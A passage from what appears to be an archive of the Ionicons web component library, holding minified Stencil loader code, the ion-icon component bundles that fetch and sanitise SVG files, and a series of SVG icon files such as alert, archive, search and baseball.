v=c;(u=n.split(".")).length>1&&(n=u[0],v=(t=>{t.keyCode===A[u[1]]&&c(t)})),l=i.Ot?{capture:!!f,passive:!!r}:!!f,t.ael(p,n,v,l),d||o.set(e,d={}),d[a]=(()=>{p&&t.rel(p,n,v,l),d[a]=null})},y:(t,e)=>{const n=o.get(t);n&&(e?n[e]&&n[e]():Object.keys(n).forEach(t=>{n[t]&&n[t]()}))},St:(t,n,o)=>t&&t.dispatchEvent(new e.CustomEvent(n,o)),D:(t,e)=>(e=i.c(t))&&11===i.B(e)?e.host:e,$t:(t,e)=>t.attachShadow(e)};return i}(u,n,o);e.isServer=e.isPrerender=!(e.isClient=!0),e.window=n,e.location=n.location,e.document=o,e.resourcesUrl=e.publicPath=i,u.h=m,u.Context=e;const b=n["s-defined"]=n["s-defined"]||{};let h=0;const w={o:a,At:r,Rt:e.emit,l:t=>s[a.L(t)],ut:t=>e[t],isClient:!0,W:t=>!(!b[a.L(t)]&&!w.l(t)),ht:()=>t+h++,it:(t,e,n)=>void 0,Tt:t=>(function e(t,n,o){return{create:x(t,n,o,"create"),componentOnReady:x(t,n,o,"componentOnReady")}})(a,l,t),queue:e.queue=function g(t,e){function n(e){return n=>{e.push(n),d||(d=!0,t.raf(c))}}function o(t){for(let e=0;e<t.length;e++)try{t[e](f())}catch(t){}t.length=0}function i(t,e){let n,o=0;for(;o<t.length&&(n=f())<e;)try{t[o++](n)}catch(t){}o===t.length?t.length=0:0!==o&&t.splice(0,o)}function c(){p++,o(l);const e=f()+7*Math.ceil(p*(1/22));i(u,e),i(a,e),u.length>0&&(a.push(...u),u.length=0),(d=l.length+u.length+a.length>0)?t.raf(c):p=0}const f=()=>e.performance.now(),r=Promise.resolve(),s=[],l=[],u=[],a=[];let p=0,d=!1;return t.raf||(t.raf=e.requestAnimationFrame.bind(e)),{tick(t){s.push(t),1===s.length&&r.then(()=>o(s))},read:n(l),write:n(u)}}(u,n),Mt:function M(t,e,n){if(t.ft)$(w,e);else{const n="string"==typeof t.z?t.z:t.z[e.mode],o=!a.n;import(i+n+(o?".sc":"")+".entry.js").then(n=>{try{t.ft=n[(t=>T(t).split("-").map(t=>t.charAt(0).toUpperCase()+t.slice(1)).join(""))(t.t)],function o(t,e,n,i,c){if(i){const n=e.t+(c||N);if(!e[n]){const o=t.x("template");e[n]=o,o.innerHTML=`<style>${i}</style>`,t.S(t.i.head,o)}}}(a,t,t.e,t.ft.style,t.ft.styleMode),$(w,e)}catch(e){t.ft=class{}}},t=>void 0)}},vt:!1,et:!1,A:!1,dt:f,ct:new WeakMap,f:new WeakMap,yt:new WeakMap,kt:new WeakMap,jt:new WeakMap,N:new WeakMap,rt:new WeakMap,pt:new WeakMap,ot:new WeakMap,nt:new WeakMap,tt:new WeakMap,Ct:new WeakMap,Lt:new WeakMap,mt:new WeakMap,st:new WeakMap,_:new Set,bt:[]};u.onReady=(()=>new Promise(t=>w.queue.write(()=>w._.size?w.bt.push(t):t()))),w.render=p(w,a);const k=a.i.documentElement;k["s-ld"]=[],k["s-rn"]=!0,k["s-init"]=(()=>{w.N.set(k,u.loaded=w.et=!0),a.St(n,"appload",{detail:{namespace:t}})}),function C(t,e,n){const o=n.querySelectorAll(`[${W}]`),i=o.length;let c,f,r,s,l,u;if(i>0)for(t.N.set(n,!0),s=0;s<i;s++)for(c=o[s],f=e.I(c,W),(r={}).vtag=e.L(r.w=c),t.mt.set(c,r),l=0,u=c.childNodes.length;l<u;l++)v(e,c.childNodes[l],r,f,!0)}(w,a,k),(u.components||[]).map(y).forEach(t=>r(t,class extends HTMLElement{})),function j(t,e,n,o,i,c){if(e.componentOnReady=((e,n)=>{if(!e.nodeName.includes("-"))return n(null),!1;const o=t.l(e);if(o)if(t.N.has(e))n(e);else{const o=t.Ct.get(e)||[];o.push(n),t.Ct.set(e,o)}return!!o}),i){for(c=i.length-1;c>=0;c--)e.componentOnReady(i[c][0],i[c][1])&&i.splice(c,1);for(c=0;c<o.length;c++)if(!n[o[c]].componentOnReady)return;for(c=0;c<i.length;c++)i[c][1](null);i.length=0}}(w,u,n,n["s-apps"],n["s-cr"]),u.initialized=!0})(o,n,t,e,resourcesUrl,hydratedCssClass)})(window,document,Context,namespace);
})({},"ionicons","hydrated");ionicons/esckjbl8.sc.es5.entry.js000064400000011763151701353760012707 0ustar00/*! Built with http://stenciljs.com */
ionicons.loadBundle("esckjbl8",["exports"],function(t){var e=window.ionicons.h;function i(t,e,i,n){return e=(e||"md").toLowerCase(),i&&"ios"===e?t=i.toLowerCase():n&&"md"===e?t=n.toLowerCase():t&&(t=t.toLowerCase(),/^md-|^ios-|^logo-/.test(t)||(t=e+"-"+t)),"string"!=typeof t||""===t.trim()?null:""!==t.replace(/[a-z]|-|\d/gi,"")?null:t}function n(t){return"string"==typeof t&&(t=t.trim()).length>0&&/(\/|\.)/.test(t)?t:null}var r=function(){function t(){this.isVisible=!1,this.lazy=!1}return t.prototype.componentWillLoad=function(){var t=this;this.waitUntilVisible(this.el,"50px",function(){t.isVisible=!0,t.loadIcon()})},t.prototype.componentDidUnload=function(){this.io&&(this.io.disconnect(),this.io=void 0)},t.prototype.waitUntilVisible=function(t,e,i){var n=this;if(this.lazy&&this.win&&this.win.IntersectionObserver){var r=this.io=new this.win.IntersectionObserver(function(t){t[0].isIntersecting&&(r.disconnect(),n.io=void 0,i())},{rootMargin:e});r.observe(t)}else i()},t.prototype.loadIcon=function(){var t=this;if(!this.isServer&&this.isVisible){var e=this.getUrl();e&&function(t,e,i){var n=o.get(e);return n||(n=fetch(e,{cache:"force-cache"}).then(function(t){return t.ok?t.text():Promise.resolve(null)}).then(function(e){return function(t,e,i){if(e){var n=t.createDocumentFragment(),r=t.createElement("div");r.innerHTML=e,n.appendChild(r);for(var o=r.childNodes.length-1;o>=0;o--)"svg"!==r.childNodes[o].nodeName.toLowerCase()&&r.removeChild(r.childNodes[o]);var s=r.firstElementChild;if(s&&"svg"===s.nodeName.toLowerCase()&&(s.setAttribute("class","s-ion-icon"),function t(e){if(1===e.nodeType){if("script"===e.nodeName.toLowerCase())return!1;for(var i=0;i<e.attributes.length;i++){var n=e.attributes[i].value;if("string"==typeof n&&0===n.toLowerCase().indexOf("on"))return!1}for(i=0;i<e.childNodes.length;i++)if(!t(e.childNodes[i]))return!1}return!0}(s)))return r.innerHTML}return""}(t,e)}),o.set(e,n)),n}(this.doc,e).then(function(e){return t.svgContent=e})}if(!this.ariaLabel){var n=i(this.name,this.mode,this.ios,this.md);n&&(this.ariaLabel=n.replace("ios-","").replace("md-","").replace(/\-/g," "))}},t.prototype.getUrl=function(){var t=n(this.src);return t||((t=i(this.name,this.mode,this.ios,this.md))?this.getNamedUrl(t):(t=n(this.icon))?t:(t=i(this.icon,this.mode,this.ios,this.md))?this.getNamedUrl(t):null)},t.prototype.getNamedUrl=function(t){return this.resourcesUrl+"svg/"+t+".svg"},t.prototype.hostData=function(){var t;return{role:"img",class:Object.assign({},function(t){var e;return t?((e={"ion-color":!0})["ion-color-"+t]=!0,e):null}(this.color),(t={},t["icon-"+this.size]=!!this.size,t))}},t.prototype.render=function(){return e("div",!this.isServer&&this.svgContent?{class:"icon-inner",innerHTML:this.svgContent}:{class:"icon-inner"})},Object.defineProperty(t,"is",{get:function(){return"ion-icon"},enumerable:!0,configurable:!0}),Object.defineProperty(t,"encapsulation",{get:function(){return"shadow"},enumerable:!0,configurable:!0}),Object.defineProperty(t,"properties",{get:function(){return{ariaLabel:{type:String,attr:"aria-label",reflectToAttr:!0,mutable:!0},color:{type:String,attr:"color"},doc:{context:"document"},el:{elementRef:!0},icon:{type:String,attr:"icon",watchCallbacks:["loadIcon"]},ios:{type:String,attr:"ios"},isServer:{context:"isServer"},isVisible:{state:!0},lazy:{type:Boolean,attr:"lazy"},md:{type:String,attr:"md"},mode:{type:String,attr:"mode"},name:{type:String,attr:"name",watchCallbacks:["loadIcon"]},resourcesUrl:{context:"resourcesUrl"},size:{type:String,attr:"size"},src:{type:String,attr:"src",watchCallbacks:["loadIcon"]},svgContent:{state:!0},win:{context:"window"}}},enumerable:!0,configurable:!0}),Object.defineProperty(t,"style",{get:function(){return".sc-ion-icon-h{display:inline-block;width:1em;height:1em;contain:strict;-webkit-box-sizing:content-box!important;box-sizing:content-box!important}.ion-color.sc-ion-icon-h{color:var(--ion-color-base)!important}.icon-small.sc-ion-icon-h{font-size:var(--ion-icon-size-small,18px)!important}.icon-large.sc-ion-icon-h{font-size:var(--ion-icon-size-large,32px)!important}.icon-inner.sc-ion-icon, svg.sc-ion-icon{display:block;fill:currentColor;stroke:currentColor;height:100%;width:100%}.ion-color-primary.sc-ion-icon-h{--ion-color-base:var(--ion-color-primary, #3880ff)}.ion-color-secondary.sc-ion-icon-h{--ion-color-base:var(--ion-color-secondary, #0cd1e8)}.ion-color-tertiary.sc-ion-icon-h{--ion-color-base:var(--ion-color-tertiary, #f4a942)}.ion-color-success.sc-ion-icon-h{--ion-color-base:var(--ion-color-success, #10dc60)}.ion-color-warning.sc-ion-icon-h{--ion-color-base:var(--ion-color-warning, #ffce00)}.ion-color-danger.sc-ion-icon-h{--ion-color-base:var(--ion-color-danger, #f14141)}.ion-color-light.sc-ion-icon-h{--ion-color-base:var(--ion-color-light, #f4f5f8)}.ion-color-medium.sc-ion-icon-h{--ion-color-base:var(--ion-color-medium, #989aa2)}.ion-color-dark.sc-ion-icon-h{--ion-color-base:var(--ion-color-dark, #222428)}"},enumerable:!0,configurable:!0}),t}(),o=new Map;t.IonIcon=r,Object.defineProperty(t,"__esModule",{value:!0})});ionicons/esckjbl8.es5.entry.js000064400000011575151701353760012304 0ustar00/*! Built with http://stenciljs.com */
ionicons.loadBundle("esckjbl8",["exports"],function(t){var e=window.ionicons.h;function i(t,e,i,n){return e=(e||"md").toLowerCase(),i&&"ios"===e?t=i.toLowerCase():n&&"md"===e?t=n.toLowerCase():t&&(t=t.toLowerCase(),/^md-|^ios-|^logo-/.test(t)||(t=e+"-"+t)),"string"!=typeof t||""===t.trim()?null:""!==t.replace(/[a-z]|-|\d/gi,"")?null:t}function n(t){return"string"==typeof t&&(t=t.trim()).length>0&&/(\/|\.)/.test(t)?t:null}var r=function(){function t(){this.isVisible=!1,this.lazy=!1}return t.prototype.componentWillLoad=function(){var t=this;this.waitUntilVisible(this.el,"50px",function(){t.isVisible=!0,t.loadIcon()})},t.prototype.componentDidUnload=function(){this.io&&(this.io.disconnect(),this.io=void 0)},t.prototype.waitUntilVisible=function(t,e,i){var n=this;if(this.lazy&&this.win&&this.win.IntersectionObserver){var r=this.io=new this.win.IntersectionObserver(function(t){t[0].isIntersecting&&(r.disconnect(),n.io=void 0,i())},{rootMargin:e});r.observe(t)}else i()},t.prototype.loadIcon=function(){var t=this;if(!this.isServer&&this.isVisible){var e=this.getUrl();e&&function(t,e,i){var n=o.get(e);return n||(n=fetch(e,{cache:"force-cache"}).then(function(t){return t.ok?t.text():Promise.resolve(null)}).then(function(e){return function(t,e,i){if(e){var n=t.createDocumentFragment(),r=t.createElement("div");r.innerHTML=e,n.appendChild(r);for(var o=r.childNodes.length-1;o>=0;o--)"svg"!==r.childNodes[o].nodeName.toLowerCase()&&r.removeChild(r.childNodes[o]);var s=r.firstElementChild;if(s&&"svg"===s.nodeName.toLowerCase()&&(s.setAttribute("class","s-ion-icon"),function t(e){if(1===e.nodeType){if("script"===e.nodeName.toLowerCase())return!1;for(var i=0;i<e.attributes.length;i++){var n=e.attributes[i].value;if("string"==typeof n&&0===n.toLowerCase().indexOf("on"))return!1}for(i=0;i<e.childNodes.length;i++)if(!t(e.childNodes[i]))return!1}return!0}(s)))return r.innerHTML}return""}(t,e)}),o.set(e,n)),n}(this.doc,e).then(function(e){return t.svgContent=e})}if(!this.ariaLabel){var n=i(this.name,this.mode,this.ios,this.md);n&&(this.ariaLabel=n.replace("ios-","").replace("md-","").replace(/\-/g," "))}},t.prototype.getUrl=function(){var t=n(this.src);return t||((t=i(this.name,this.mode,this.ios,this.md))?this.getNamedUrl(t):(t=n(this.icon))?t:(t=i(this.icon,this.mode,this.ios,this.md))?this.getNamedUrl(t):null)},t.prototype.getNamedUrl=function(t){return this.resourcesUrl+"svg/"+t+".svg"},t.prototype.hostData=function(){var t;return{role:"img",class:Object.assign({},function(t){var e;return t?((e={"ion-color":!0})["ion-color-"+t]=!0,e):null}(this.color),(t={},t["icon-"+this.size]=!!this.size,t))}},t.prototype.render=function(){return e("div",!this.isServer&&this.svgContent?{class:"icon-inner",innerHTML:this.svgContent}:{class:"icon-inner"})},Object.defineProperty(t,"is",{get:function(){return"ion-icon"},enumerable:!0,configurable:!0}),Object.defineProperty(t,"encapsulation",{get:function(){return"shadow"},enumerable:!0,configurable:!0}),Object.defineProperty(t,"properties",{get:function(){return{ariaLabel:{type:String,attr:"aria-label",reflectToAttr:!0,mutable:!0},color:{type:String,attr:"color"},doc:{context:"document"},el:{elementRef:!0},icon:{type:String,attr:"icon",watchCallbacks:["loadIcon"]},ios:{type:String,attr:"ios"},isServer:{context:"isServer"},isVisible:{state:!0},lazy:{type:Boolean,attr:"lazy"},md:{type:String,attr:"md"},mode:{type:String,attr:"mode"},name:{type:String,attr:"name",watchCallbacks:["loadIcon"]},resourcesUrl:{context:"resourcesUrl"},size:{type:String,attr:"size"},src:{type:String,attr:"src",watchCallbacks:["loadIcon"]},svgContent:{state:!0},win:{context:"window"}}},enumerable:!0,configurable:!0}),Object.defineProperty(t,"style",{get:function(){return":host{display:inline-block;width:1em;height:1em;contain:strict;-webkit-box-sizing:content-box!important;box-sizing:content-box!important}:host(.ion-color){color:var(--ion-color-base)!important}:host(.icon-small){font-size:var(--ion-icon-size-small,18px)!important}:host(.icon-large){font-size:var(--ion-icon-size-large,32px)!important}.icon-inner,svg{display:block;fill:currentColor;stroke:currentColor;height:100%;width:100%}:host(.ion-color-primary){--ion-color-base:var(--ion-color-primary, #3880ff)}:host(.ion-color-secondary){--ion-color-base:var(--ion-color-secondary, #0cd1e8)}:host(.ion-color-tertiary){--ion-color-base:var(--ion-color-tertiary, #f4a942)}:host(.ion-color-success){--ion-color-base:var(--ion-color-success, #10dc60)}:host(.ion-color-warning){--ion-color-base:var(--ion-color-warning, #ffce00)}:host(.ion-color-danger){--ion-color-base:var(--ion-color-danger, #f14141)}:host(.ion-color-light){--ion-color-base:var(--ion-color-light, #f4f5f8)}:host(.ion-color-medium){--ion-color-base:var(--ion-color-medium, #989aa2)}:host(.ion-color-dark){--ion-color-base:var(--ion-color-dark, #222428)}"},enumerable:!0,configurable:!0}),t}(),o=new Map;t.IonIcon=r,Object.defineProperty(t,"__esModule",{value:!0})});ionicons/svg/ios-alert.svg000064400000000613151701353760011614 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm17.2 109.6l-3.1 115.1c-.2 8.2-5.9 14.8-14.1 14.8s-13.9-6.6-14.1-14.8l-3.1-115.1c-.2-9.6 7.5-17.6 17.2-17.6 9.6 0 17.4 7.9 17.2 17.6zM256 354c-10.7 0-19.1-8.1-19.1-18.4s8.4-18.4 19.1-18.4c10.7 0 19.1 8.1 19.1 18.4S266.7 354 256 354z"/></svg>ionicons/svg/ios-archive.svg000064400000000615151701353760012130 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M460 120H52c-2.2 0-4-1.8-4-4V96c0-17.7 14.3-32 32-32h352c17.7 0 32 14.3 32 32v20c0 2.2-1.8 4-4 4zM440 146H72c-4.4 0-8 3.6-8 8v262c0 17.6 14.4 32 32 32h320c17.6 0 32-14.4 32-32V154c0-4.4-3.6-8-8-8zM306 288h-99.6c-7.1 0-13.4-5.2-14.3-12.3-1-8.5 5.6-15.7 13.9-15.7h99.6c7.1 0 13.4 5.2 14.3 12.3 1 8.4-5.6 15.7-13.9 15.7z"/></svg>ionicons/svg/md-refresh.svg000064400000000560151701353760011752 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 388c-72.597 0-132-59.405-132-132 0-72.601 59.403-132 132-132 36.3 0 69.299 15.4 92.406 39.601L278 234h154V80l-51.698 51.702C348.406 99.798 304.406 80 256 80c-96.797 0-176 79.203-176 176s78.094 176 176 176c81.045 0 148.287-54.134 169.401-128H378.85c-18.745 49.561-67.138 84-122.85 84z"/></svg>ionicons/svg/md-brush.svg000064400000000500151701353760011431 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M149.9 302.2c-39.1 0-70.7 31-70.7 69.3 0 30.3-27.3 46.2-47.2 46.2C53.7 446 90.7 464 126.3 464c52.1 0 94.3-41.4 94.3-92.4 0-38.4-31.6-69.4-70.7-69.4zM473.1 85.7l-31.6-31c-9.2-9-24-9-33.2 0L197 261.8l64.8 63.5 211.2-207c9.3-9 9.3-23.6.1-32.6z"/></svg>ionicons/svg/logo-game-controller-a.svg000064400000001560151701353760014165 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M369.3 146H142.7C81.5 146 32 191.5 32 255.4c0 64 49.5 110.6 110.7 110.6h226.5c61.2 0 110.7-46.6 110.7-110.6.1-63.9-49.4-109.4-110.6-109.4zM200 266.7c0 2.7-2.4 5.3-5.2 5.3H160v35.1c0 2.8-3.1 4.9-5.8 4.9h-21.4c-2.6 0-4.8-1.9-4.8-4.5V272H92.9c-2.8 0-4.9-3.1-4.9-5.8v-21.4c0-2.6 1.9-4.8 4.5-4.8H128v-34.8c0-2.8 1.9-5.2 4.6-5.2h22.1c2.7 0 5.3 2.4 5.3 5.2V240h34.8c2.8 0 5.2 1.9 5.2 4.6v22.1zm119.8 8.8c-10.7 0-19.5-8.6-19.5-19.2s8.7-19.2 19.5-19.2 19.5 8.6 19.5 19.2-8.8 19.2-19.5 19.2zm42.5 41.8c-10.7 0-19.5-8.5-19.5-19.1 0-10.6 8.7-19.2 19.5-19.2s19.5 8.5 19.5 19.2c0 10.6-8.7 19.1-19.5 19.1zm0-83.7c-10.7 0-19.5-8.6-19.5-19.1 0-10.6 8.7-19.2 19.5-19.2s19.5 8.6 19.5 19.2c0 10.5-8.7 19.1-19.5 19.1zm42.6 41.9c-10.7 0-19.4-8.6-19.4-19.2s8.7-19.2 19.4-19.2 19.5 8.6 19.5 19.2c-.1 10.6-8.8 19.2-19.5 19.2z"/></svg>ionicons/svg/md-umbrella.svg000064400000001161151701353760012115 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M410.1 244.1c12 0 26.6 10.9 33.8 25.9H464c-.3-50-21.2-101.5-59.4-140.9-36.3-37.4-83-60.5-132.6-65.7-3-9-11.5-15.4-21.6-15.4-10 0-18.5 6.5-21.5 15.3C125.3 73.8 48 159.7 48 266.2c0 1.1.1 1.8.4 3.8h21.8c6.8-15 22.2-25.9 35.3-25.9 17 0 31.5 10.9 36.5 25.9h19.8c4.1-15 16.9-25.7 33-25.7 17.8 0 33.1 14.5 34.1 32.6v118.3c0 9.3.1 24.1-13.4 24.1-6.9 0-16.6-1.8-16.6-16V382h-43v21.3c0 34.6 23.6 60.7 60 60.7 19.5 0 33.3-8.5 43.5-18.7 13.1-13.2 13.5-34.7 13.5-50.1V276.1c2-25.8 23.9-31.7 41.9-31.7 17.2 0 32.3 11.6 37.8 25.6h20.5c5.1-15 19.8-25.9 37-25.9z"/></svg>ionicons/svg/md-hourglass.svg000064400000000435151701353760012324 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 48v122.8h.2l-.2.2 85.3 85-85.3 85.2.2.2h-.2V464h256V341.4h-.2l.2-.2-85.3-85.2 85.3-85-.2-.2h.2V48H128zm213.3 303.9v71.5H170.7v-71.5l85.3-85.2 85.3 85.2zM256 245.4l-85.3-85.2V87.6h170.7v72.5L256 245.4z"/></svg>ionicons/svg/md-flashlight.svg000064400000000401151701353760012433 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 298l64 64v118h128V362l64-64V176l-255.2.4L128 298zM234.8 32h42.4v64h-42.4V32zM80 110.4L109.9 80l44.9 45.6-29.9 30.4L80 110.4zm277.1 15.2l45-45.5 29.9 30.4-44.9 45.5-30-30.4z"/></svg>ionicons/svg/md-attach.svg000064400000001100151701353760011547 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M341.334 128v234.666C341.334 409.604 302.938 448 256 448c-46.937 0-85.333-38.396-85.333-85.334V117.334C170.667 87.469 194.135 64 224 64c29.864 0 53.333 23.469 53.333 53.334v245.333c0 11.729-9.605 21.333-21.334 21.333s-21.333-9.604-21.333-21.333V160h-32v202.667C202.667 392.531 226.135 416 256 416c29.865 0 53.334-23.469 53.334-53.333V117.334C309.334 70.401 270.938 32 224 32s-85.334 38.401-85.334 85.334v245.332C138.667 427.729 190.938 480 256 480c65.062 0 117.334-52.271 117.334-117.334V128h-32z"/></svg>ionicons/svg/md-search.svg000064400000001004151701353760011553 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M337.509 305.372h-17.501l-6.571-5.486c20.791-25.232 33.922-57.054 33.922-93.257C347.358 127.632 283.896 64 205.135 64 127.452 64 64 127.632 64 206.629s63.452 142.628 142.225 142.628c35.011 0 67.831-13.167 92.991-34.008l6.561 5.487v17.551L415.18 448 448 415.086 337.509 305.372zm-131.284 0c-54.702 0-98.463-43.887-98.463-98.743 0-54.858 43.761-98.742 98.463-98.742 54.7 0 98.462 43.884 98.462 98.742 0 54.856-43.762 98.743-98.462 98.743z"/></svg>ionicons/svg/md-thermometer.svg000064400000000434151701353760012647 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M303 300.2V78.4c0-25.7-21-46.5-47-46.5s-47 20.8-47 46.5v221.9c-29 16.5-48.9 47.8-48.9 83.7 0 53 43 96 96 96s96-43 96-96c0-36-20.1-67.3-49.1-83.8zM240 78.4c0-8 7.7-14.5 16-14.5s16 6.5 16 14.5V128h-32V78.4z"/></svg>ionicons/svg/ios-attach.svg000064400000001500151701353760011745 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M355.9 161.1c-8.6 0-15.6 7-15.6 15.6v194.4c0 20.3-8 40.4-22 55.1-13.9 14.6-35.2 23.7-55.5 23.7h-13.6c-19.6 0-39.5-8.9-54.8-24.6-15.2-15.5-23.9-35.6-23.9-55.2V119.3c0-14.9 6.2-28.9 17.3-39.5 11.1-10.5 25.7-16.3 41-16.3 15.1 0 29.3 5.8 39.8 16.2 10.5 10.5 16.4 24.6 16.4 39.6v234.2c0 17.1-13.6 32.2-29 32.2-13.6 0-28.2-12.9-28.2-32.2V219.9c0-8.6-7-15.6-15.6-15.6s-15.6 7-15.6 15.6v133.6c0 35.5 25.5 62.3 59.4 62.3 16.5 0 31.7-6.1 42.7-17.3 11.3-11.4 17.5-27.4 17.5-45V119.3c0-23.4-9.1-45.4-25.7-61.8C274 41 252 32 228.5 32s-45.5 9-62.2 25.5c-16.7 16.5-25.9 38.4-25.9 61.9v250.8c0 28.7 12.2 57.9 32.6 78 20.9 20.6 47.9 31.9 76.1 31.9h13.6c27.6 0 55.3-11.7 75.9-32.1 10.2-10.1 18.2-21.7 23.9-34.6 5.9-13.5 8.9-27.7 8.9-42.1V176.7c.1-8.6-6.9-15.6-15.5-15.6z"/></svg>ionicons/svg/ios-time.svg000064400000000416151701353760011444 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm14 226c0 7.7-6.3 14-14 14h-96c-7.7 0-14-6.3-14-14s6.3-14 14-14h82V128c0-7.7 6.3-14 14-14s14 6.3 14 14v146z"/></svg>ionicons/svg/ios-flag.svg000064400000000717151701353760011423 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M406.7 80.8c-3.1.5-6.4 1-9.9 1.4-13.2 1.7-42.8 5.2-60.6 5.2-27.7 0-52.8-6.8-78.2-12.2-25.8-5.5-52.4-11.2-80.6-11.2-56.2 0-75.3 12.1-77.3 13.4L96 80.3v353.3c0 7.2 5.2 13.4 12.3 14.3 8.5 1 15.7-5.6 15.7-13.9V279.6c0-3.8 2.7-7.1 6.4-7.9 10.5-2.1 25.8-3.9 47-3.9 26.2 0 50.7 10 76.6 15.5 26.4 5.6 48.6 11.5 83.4 11.5s71.8-6.6 71.8-6.6c3.9-.6 6.9-3.9 6.9-7.9V88.7c-.1-4.9-4.5-8.7-9.4-7.9z"/></svg>ionicons/svg/ios-log-in.svg000064400000001201151701353760011664 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M417 80H137c-25.4 0-46 20.6-46 46 0 7.7 6.3 14 14 14s14-6.3 14-14c0-9.9 8.1-18 18-18h280c9.9 0 18 8.1 18 18v260c0 9.9-8.1 18-18 18H137c-9.9 0-18-8.1-18-18 0-7.7-6.3-14-14-14s-14 6.3-14 14c0 25.4 20.6 46 46 46h280c25.4 0 46-20.6 46-46V126c0-25.4-20.6-46-46-46z"/><path d="M224 334.2c-5.4 5.4-5.4 14.3 0 19.8l.1.1c2.7 2.5 6.2 3.9 9.8 3.9 3.8 0 7.3-1.4 9.9-4.1l82.6-82.4c4.3-4.3 6.5-9.3 6.5-14.7 0-5.3-2.3-10.3-6.5-14.5l-84.6-84.4c-2.6-2.6-6.1-4.1-9.9-4.1-3.7 0-7.3 1.4-9.9 4.1-5.5 5.5-5.5 14.3 0 19.8l65.2 64.2H63c-7.7 0-14 6.3-14 14s6.3 14 14 14h224.6L224 334.2z"/></svg>ionicons/svg/ios-remove-circle-outline.svg000064400000000660151701353760014720 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M346.5 240h-181c-8.8 0-16 6-16 16s7.5 16 16 16h181c8.8 0 16-7.2 16-16s-7.2-16-16-16z"/><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>ionicons/svg/md-contacts.svg000064400000002062151701353760012131 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M239.208 343.937c-17.78 10.103-38.342 15.876-60.255 15.876-21.909 0-42.467-5.771-60.246-15.87C71.544 358.331 42.643 406 32 448h293.912c-10.639-42-39.537-89.683-86.704-104.063zM178.953 120.035c-58.479 0-105.886 47.394-105.886 105.858 0 58.464 47.407 105.857 105.886 105.857s105.886-47.394 105.886-105.857c0-58.464-47.408-105.858-105.886-105.858zm0 186.488c-33.671 0-62.445-22.513-73.997-50.523H252.95c-11.554 28.011-40.326 50.523-73.997 50.523z"/><g><path d="M322.602 384H480c-10.638-42-39.537-81.691-86.703-96.072-17.781 10.104-38.343 15.873-60.256 15.873-14.823 0-29.024-2.654-42.168-7.49-7.445 12.47-16.927 25.592-27.974 34.906C289.245 341.354 309.146 364 322.602 384zM306.545 200h100.493c-11.554 28-40.327 50.293-73.997 50.293-8.875 0-17.404-1.692-25.375-4.51a128.411 128.411 0 0 1-6.52 25.118c10.066 3.174 20.779 4.862 31.895 4.862 58.479 0 105.886-47.41 105.886-105.872 0-58.465-47.407-105.866-105.886-105.866-37.49 0-70.427 19.703-89.243 49.09C275.607 131.383 298.961 163 306.545 200z"/></g></svg>ionicons/svg/md-baseball.svg000064400000003114151701353760012057 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M365.9 402.6L343 416.1l-16-28 20.2-11.9c-5.2-8.5-9.8-17.4-13.9-26.7-1.4-3.1-2.7-6.3-3.9-9.5l-25.1 5.8-7.1-31.6 22.6-5.2c-2.8-12.1-4.7-24-5.5-37H290v-32h24.3c.8-12 2.7-24.8 5.5-36.8l-22.6-5.2 7.1-31.6 25.1 5.8c1.3-3.2 2.6-6.4 4-9.6 4.1-9.2 8.7-18.1 13.8-26.6L327 124.1l16-28 22.8 13.5c5.2-6.4 10.8-12.5 16.7-18.3C347.4 64.1 303.5 48 256 48s-91.4 16.1-126.5 43.2c5.9 5.8 11.5 12 16.7 18.3L169 96.1l16 28-20.2 11.9c5.1 8.5 9.8 17.4 13.8 26.6 1.4 3.2 2.7 6.4 4 9.6l25.1-5.8 7.1 31.6-22.6 5.2c2.8 12.1 4.6 24.8 5.5 36.8H222v32h-24.3c-.8 13-2.7 24.9-5.5 37l22.6 5.2-7.1 31.6-25.1-5.8c-1.2 3.2-2.5 6.3-3.9 9.5-4.1 9.2-8.7 18.1-13.9 26.7l20.2 11.9-16 28-22.9-13.5c-5.2 6.3-10.7 12.4-16.6 18.2 35.1 27.1 79 43.2 126.5 43.2s91.4-16.1 126.5-43.2c-5.9-5.8-11.4-11.9-16.6-18.2z"/><path d="M393.8 126l18.1 10.7-16 28-21.2-12.5c-5 8.3-9.5 16.9-13.3 25.9-.2.4-.4.9-.5 1.3l21 4.9-7.1 31.6-23.9-5.5c-2.3 9.7-3.8 19.6-4.6 29.6H370v32h-23.6c.8 10 2.3 20 4.6 29.8l23.9-5.5 7.1 31.6-21 4.9c.2.4.3.8.5 1.2 3.8 9 8.3 17.7 13.3 26l21.1-12.4 16 28-18 10.6c3.3 3.9 